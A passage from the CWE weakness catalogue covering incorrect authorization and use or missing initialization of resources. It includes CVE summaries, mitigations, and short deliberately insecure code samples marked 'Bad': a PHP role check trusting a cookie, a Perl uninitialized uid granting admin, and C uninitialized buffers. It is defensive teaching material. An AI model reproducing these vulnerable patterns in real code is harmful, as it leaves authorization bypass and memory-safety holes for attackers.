<b>CVE-2009-3597</b>	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3597">https://www.cve.org/CVERecord?id=CVE-2009-3597</a>
<b>CVE-2009-2282</b>	Terminal server does not check authorization for guest access. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2282">https://www.cve.org/CVERecord?id=CVE-2009-2282</a>
<b>CVE-2008-5027</b>	System monitoring software allows users to bypass authorization by creating custom forms. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5027">https://www.cve.org/CVERecord?id=CVE-2008-5027</a>
<b>CVE-2009-3781</b>	Content management system does not check access permissions for private files, allowing others to view those files. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3781">https://www.cve.org/CVERecord?id=CVE-2009-3781</a>
<b>CVE-2008-6548</b>	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files. <a href="https://www.cve.org/CVERecord?id=CVE-2008-6548">https://www.cve.org/CVERecord?id=CVE-2008-6548</a>
<b>CVE-2009-2960</b>	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2960">https://www.cve.org/CVERecord?id=CVE-2009-2960</a>
<b>CVE-2009-3230</b>	Database server does not use appropriate privileges for certain sensitive operations. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3230">https://www.cve.org/CVERecord?id=CVE-2009-3230</a>
<b>CVE-2009-2213</b>	Gateway uses default "Allow" configuration for its authorization settings. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2213">https://www.cve.org/CVERecord?id=CVE-2009-2213</a>
<b>CVE-2009-0034</b>	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0034">https://www.cve.org/CVERecord?id=CVE-2009-0034</a>
<b>CVE-2008-6123</b>	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. <a href="https://www.cve.org/CVERecord?id=CVE-2008-6123">https://www.cve.org/CVERecord?id=CVE-2008-6123</a>
<b>CVE-2008-7109</b>	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. <a href="https://www.cve.org/CVERecord?id=CVE-2008-7109">https://www.cve.org/CVERecord?id=CVE-2008-7109</a>
<b>CVE-2008-3424</b>	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3424">https://www.cve.org/CVERecord?id=CVE-2008-3424</a>
<b>CVE-2005-1036</b>	Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap



Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2005-1036">https://www.cve.org/CVERecord?id=CVE-2005-1036</a>
<b>CVE-2008-4577</b>	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4577">https://www.cve.org/CVERecord?id=CVE-2008-4577</a>
<b>CVE-2007-2925</b>	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries. <a href="https://www.cve.org/CVERecord?id=CVE-2007-2925">https://www.cve.org/CVERecord?id=CVE-2007-2925</a>
<b>CVE-2006-6679</b>	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6679">https://www.cve.org/CVERecord?id=CVE-2006-6679</a>
<b>CVE-2005-3623</b>	OS kernel does not check for a certain privilege before setting ACLs for files. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3623">https://www.cve.org/CVERecord?id=CVE-2005-3623</a>
<b>CVE-2005-2801</b>	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2801">https://www.cve.org/CVERecord?id=CVE-2005-2801</a>
<b>CVE-2001-1155</b>	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1155">https://www.cve.org/CVERecord?id=CVE-2001-1155</a>
<b>CVE-2020-17533</b>	Chain: unchecked return value (CWE-252) of some functions for policy enforcement leads to authorization bypass (CWE-862) <a href="https://www.cve.org/CVERecord?id=CVE-2020-17533">https://www.cve.org/CVERecord?id=CVE-2020-17533</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2151
MemberOf	<b>C</b>	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	809	2152
MemberOf	<b>C</b>	866	2011 Top 25 - Porous Defenses	900	2165
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>V</b>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	<b>V</b>	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	<b>C</b>	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280
MemberOf	<b>V</b>	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	<b>V</b>	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
665	Exploitation of Thunderbolt Protection Flaws

### References

[REF-229]NIST. "Role Based Access Control and Role Based Security". < <http://csrc.nist.gov/groups/SNS/rbac/> >.



[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-231]Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". 2010 March 4. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/> >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-233]Rahul Bhattacharjee. "Authentication using JAAS". < <http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-863: Incorrect Authorization

**Weakness ID** : 863

**Structure** : Simple

**Abstraction** : Class

### Description

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.

### Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		285	Improper Authorization	649
ParentOf		551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	1192
ParentOf		639	Authorization Bypass Through User-Controlled Key	1324
ParentOf		647	Use of Non-Canonical URL Paths for Authorization Decisions	1343
ParentOf		804	Guessable CAPTCHA	1584
ParentOf		1244	Internal Asset Exposed to Unsafe Debug Access Level or State	1879

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf		639	Authorization Bypass Through User-Controlled Key	1324

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		284	Improper Access Control	644

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Often*)

**Technology** : Database Server (*Prevalence = Often*)

### Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

### Alternate Terms

**AuthZ** : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories  <i>An attacker could read sensitive data, either by reading the data directly from a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</i>	
Integrity	Modify Application Data Modify Files or Directories  <i>An attacker could modify sensitive data, either by writing the data directly to a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</i>	
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Scope	Impact	Likelihood
	An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.	

## Detection Methods

### Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. Even if they can be customized to recognize these schemes, they might not be able to tell whether the scheme correctly performs the authorization in a way that cannot be bypassed or subverted by an attacker.

*Effectiveness = Limited*

### Automated Dynamic Analysis

Automated dynamic analysis may not be able to find interfaces that are protected by authorization checks, even if those checks contain weaknesses.

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

*Effectiveness = Moderate*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### Potential Mitigations

#### Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

#### Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

#### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

#### Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

#### Phase: System Configuration

#### Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

### Demonstrative Examples

#### Example 1:

The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.

*Example Language: PHP*

*(Bad)*

```
$role = $_COOKIES['role'];
```

```

if (!$role) {
    $role = getRole('user');
    if ($role) {
        // save the cookie to send out in future responses
        setcookie("role", $role, time()+60*60*2);
    }
    else{
        ShowLoginScreen();
        die("\n");
    }
}
if ($role == 'Reader') {
    DisplayMedicalHistory($_POST['patient_ID']);
}
else{
    die("You are not Authorized to view this record\n");
}

```

The programmer expects that the cookie will only be set when `getRole()` succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the `$role` variable is "Reader", and `getRole()` is never invoked. The attacker has bypassed the authorization system.

### Observed Examples

Reference	Description
<b>CVE-2021-39155</b>	Chain: A microservice integration and management platform compares the hostname in the HTTP Host header in a case-sensitive way (CWE-178, CWE-1289), allowing bypass of the authorization policy (CWE-863) using a hostname with mixed case or other variations. <a href="https://www.cve.org/CVERecord?id=CVE-2021-39155">https://www.cve.org/CVERecord?id=CVE-2021-39155</a>
<b>CVE-2019-15900</b>	Chain: <code>scanf()</code> call is used to check if a username and group exists, but the return value of <code>scanf()</code> call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863). <a href="https://www.cve.org/CVERecord?id=CVE-2019-15900">https://www.cve.org/CVERecord?id=CVE-2019-15900</a>
<b>CVE-2009-2213</b>	Gateway uses default "Allow" configuration for its authorization settings. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2213">https://www.cve.org/CVERecord?id=CVE-2009-2213</a>
<b>CVE-2009-0034</b>	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0034">https://www.cve.org/CVERecord?id=CVE-2009-0034</a>
<b>CVE-2008-6123</b>	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. <a href="https://www.cve.org/CVERecord?id=CVE-2008-6123">https://www.cve.org/CVERecord?id=CVE-2008-6123</a>
<b>CVE-2008-7109</b>	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. <a href="https://www.cve.org/CVERecord?id=CVE-2008-7109">https://www.cve.org/CVERecord?id=CVE-2008-7109</a>
<b>CVE-2008-3424</b>	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3424">https://www.cve.org/CVERecord?id=CVE-2008-3424</a>
<b>CVE-2008-4577</b>	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4577">https://www.cve.org/CVERecord?id=CVE-2008-4577</a>
<b>CVE-2006-6679</b>	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6679">https://www.cve.org/CVERecord?id=CVE-2006-6679</a>
<b>CVE-2005-2801</b>	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2801">https://www.cve.org/CVERecord?id=CVE-2005-2801</a>

Reference	Description
<b>CVE-2001-1155</b>	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1155">https://www.cve.org/CVERecord?id=CVE-2001-1155</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2151
MemberOf	<b>C</b>	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	809	2152
MemberOf	<b>C</b>	866	2011 Top 25 - Porous Defenses	900	2165
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>V</b>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	<b>C</b>	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### References

[REF-229]NIST. "Role Based Access Control and Role Based Security". < <http://csrc.nist.gov/groups/SNS/rbac/> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-231]Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". 2010 March 4. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/> >.

[REF-233]Rahul Bhattacharjee. "Authentication using JAAS". < <http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html> >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-908: Use of Uninitialized Resource

**Weakness ID** : 908

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses or accesses a resource that has not been initialized.

### Extended Description

When a resource has not been properly initialized, the product may behave unexpectedly. This may lead to a crash or invalid memory access, but the consequences vary depending on the type of resource and how it is used within the product.




## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368
ParentOf		457	Use of Uninitialized Variable	1034
CanFollow		909	Missing Initialization of Resource	1673

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

## Weakness Ordinalities

**Primary :**

**Resultant :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data  <i>When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.</i>	

## Potential Mitigations

### Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps.

### Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

### Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.



## Phase: Build and Compilation

Run or compile the product with settings that generate warnings about uninitialized variables or data.

### Demonstrative Examples

#### Example 1:

Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

*Example Language: Java*

*(Bad)*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

#### Example 2:

The following code intends to limit certain operations to the administrator only.

*Example Language: Perl*

*(Bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

#### Example 3:

The following code intends to concatenate a string to a variable and print the string.

*Example Language: C*

*(Bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before `str[8]`, then a buffer overflow could occur, since `strcat` will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

#### Example 4:

This example will leave `test_string` in an unknown condition when `i` is the same value as `err_val`, because `test_string` is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), `test_string` might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

Example Language: C

(Bad)

```
char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);
```

When the `printf()` is reached, `test_string` might be an unexpected address, so the `printf` might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that `test_string` has been properly set once it reaches the `printf()`.

One solution would be to set `test_string` to an acceptable default before the conditional:

Example Language: C

(Good)

```
char *test_string = "Done at the beginning";
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that `test_string` is set:

Example Language: C

(Good)

```
char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
else {
    test_string = "Done on the other side!";
}
printf("%s", test_string);
```

## Observed Examples

Reference	Description
<b>CVE-2019-9805</b>	Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption. <a href="https://www.cve.org/CVERecord?id=CVE-2019-9805">https://www.cve.org/CVERecord?id=CVE-2019-9805</a>
<b>CVE-2008-4197</b>	Use of uninitialized memory may allow code execution.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-4197">https://www.cve.org/CVERecord?id=CVE-2008-4197</a>
<b>CVE-2008-2934</b>	Free of an uninitialized pointer leads to crash and possible code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2934">https://www.cve.org/CVERecord?id=CVE-2008-2934</a>
<b>CVE-2008-0063</b>	Product does not clear memory contents when generating an error message, leading to information leak. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0063">https://www.cve.org/CVERecord?id=CVE-2008-0063</a>
<b>CVE-2008-0062</b>	Lack of initialization triggers NULL pointer dereference or double-free. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0062">https://www.cve.org/CVERecord?id=CVE-2008-0062</a>
<b>CVE-2008-0081</b>	Uninitialized variable leads to code execution in popular desktop application. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0081">https://www.cve.org/CVERecord?id=CVE-2008-0081</a>
<b>CVE-2008-3688</b>	Chain: Uninitialized variable leads to infinite loop. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3688">https://www.cve.org/CVERecord?id=CVE-2008-3688</a>
<b>CVE-2008-3475</b>	Chain: Improper initialization leads to memory corruption. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3475">https://www.cve.org/CVERecord?id=CVE-2008-3475</a>
<b>CVE-2005-1036</b>	Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap <a href="https://www.cve.org/CVERecord?id=CVE-2005-1036">https://www.cve.org/CVERecord?id=CVE-2005-1036</a>
<b>CVE-2008-3597</b>	Chain: game server can access player data structures before initialization has happened leading to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2008-3597">https://www.cve.org/CVERecord?id=CVE-2008-3597</a>
<b>CVE-2009-2692</b>	Chain: uninitialized function pointers can be dereferenced allowing code execution <a href="https://www.cve.org/CVERecord?id=CVE-2009-2692">https://www.cve.org/CVERecord?id=CVE-2009-2692</a>
<b>CVE-2009-0949</b>	Chain: improper initialization of memory can lead to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2009-0949">https://www.cve.org/CVERecord?id=CVE-2009-0949</a>
<b>CVE-2009-3620</b>	Chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2009-3620">https://www.cve.org/CVERecord?id=CVE-2009-3620</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP33-C	CWE More Abstract	Do not read uninitialized memory

### References

[REF-436]mercy. "Exploiting Uninitialized Data". 2006 January. < <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip> >.

## CWE-909: Missing Initialization of Resource

Weakness ID : 909

**Structure** : Simple  
**Abstraction** : Base

### Description

The product does not initialize a critical resource.

### Extended Description

Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368
ParentOf		456	Missing Initialization of a Variable	1029
ParentOf		1271	Uninitialized Value on Reset for Registers Holding Security Settings	1940
CanPrecede		908	Use of Uninitialized Resource	1669

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

### Weakness Ordinalities

**Primary** :

**Resultant** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data  <i>When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.</i>	
Availability	DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	<i>The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.</i>	

### Potential Mitigations

#### Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all specified steps.

#### Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

#### Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

#### Phase: Build and Compilation

Run or compile your product with settings that generate warnings about uninitialized variables or data.

### Demonstrative Examples

#### Example 1:

Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

*Example Language: Java*

*(Bad)*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

#### Example 2:

The following code intends to limit certain operations to the administrator only.

*Example Language: Perl*

*(Bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

#### Example 3:

The following code intends to concatenate a string to a variable and print the string.

*Example Language: C*

*(Bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but `str` was not initialized, so it contains random memory. As a result, `str[0]` might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before `str[8]`, then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

